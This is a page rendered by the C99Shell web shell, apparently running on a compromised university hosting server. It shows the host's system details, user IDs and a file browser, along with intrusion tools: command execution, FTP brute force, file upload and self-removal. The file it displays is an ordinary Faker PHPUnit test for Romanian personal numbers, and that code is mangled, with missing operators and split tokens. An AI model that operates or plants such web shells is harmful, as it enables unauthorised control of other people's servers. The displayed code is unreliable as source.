!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/fzaninotto/faker/test/Faker/Provider/ro_RO/   drwxr-xr-x
Free 116.23 GB of 200.55 GB (57.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PersonTest.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Test\Provider\ro_RO;

use 
Faker\Generator;
use 
Faker\Provider\DateTime;
use 
Faker\Provider\ro_RO\Person;

class 
PersonTest extends \PHPUnit_Framework_TestCase
{
    const 
TEST_CNP_REGEX '/^([1-9])([0-9]{2}(?:0[1-9]|1[012])(?:0[1-9]|[12][0-9]|3[01]))(0[1-9]|[123][0-9]|4[0-6]|5[12])([0-9]{3})([0-9])$/';

    public function 
setUp()
    {
        
$faker = new Generator();
        
$faker->seed(1);
        
$faker->addProvider(new DateTime($faker));
        
$faker->addProvider(new Person($faker));
        
$this->faker $faker;
    }

    public function 
testCnpReturnsValidCnp()
    {
        
$cnp $this->faker->cnp;
        
$this->assertTrue($this->isValidCnp($cnp));
    }

    public function 
testCnpReturnsMaleCnp()
    {
        
$cnp $this->faker->cnp('m');
        
$this->assertRegExp('/^[1357]\d{12}$/'$cnp);
    }

    public function 
testCnpReturnsFemaleCnp()
    {
        
$cnp $this->faker->cnp('f');
        
$this->assertRegExp('/^[2468]\d{12}$/'$cnp);
    }

    public function 
testCnpReturns1800sCnp()
    {
        
$cnp $this->faker->cnp(null1800);
        
$this->assertRegExp('/^[34]\d{12}$/'$cnp);
    }

    public function 
testCnpReturns1900sCnp()
    {
        
$cnp $this->faker->cnp(null1900);
        
$this->assertRegExp('/^[12]\d{12}$/'$cnp);
    }

    public function 
testCnpReturns2000sCnp()
    {
        
$cnp $this->faker->cnp(null2000);
        
$this->assertRegExp('/^[56]\d{12}$/'$cnp);
    }

    public function 
testCnpReturnsBrasovCnp()
    {
        
$cnp $this->faker->cnp(nullnull'BV');
        
$this->assertRegExp('/^\d{7}08\d{4}$/'$cnp);
    }

    public function 
testCnpReturns2000sClujFemaleCnp()
    {
        
$cnp $this->faker->cnp('f'2000'CJ');
        
$this->assertRegExp('/^6\d{6}12\d{4}$/'$cnp);
    }

    protected function 
isValidCnp($cnp)
    {
        if (
            
is_string($cnp)
            && (bool) 
preg_match(static::TEST_CNP_REGEX$cnp)
            && 
checkdate(substr($cnp32), substr($cnp52), substr($cnp12))
        ){
            
$checkNumber 279146358279;

            
$checksum 0;
            foreach (
range(011) as $digit) {
                
$checksum += substr($cnp$digit1) * substr($checkNumber$digit1);
            }
            
$checksum $checksum 11;

            if (
                (
$checksum 10 && $checksum == substr($cnp, -1))
                || (
$checksum == 10 && substr($cnp, -1) == 1)
            ){
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0495 ]--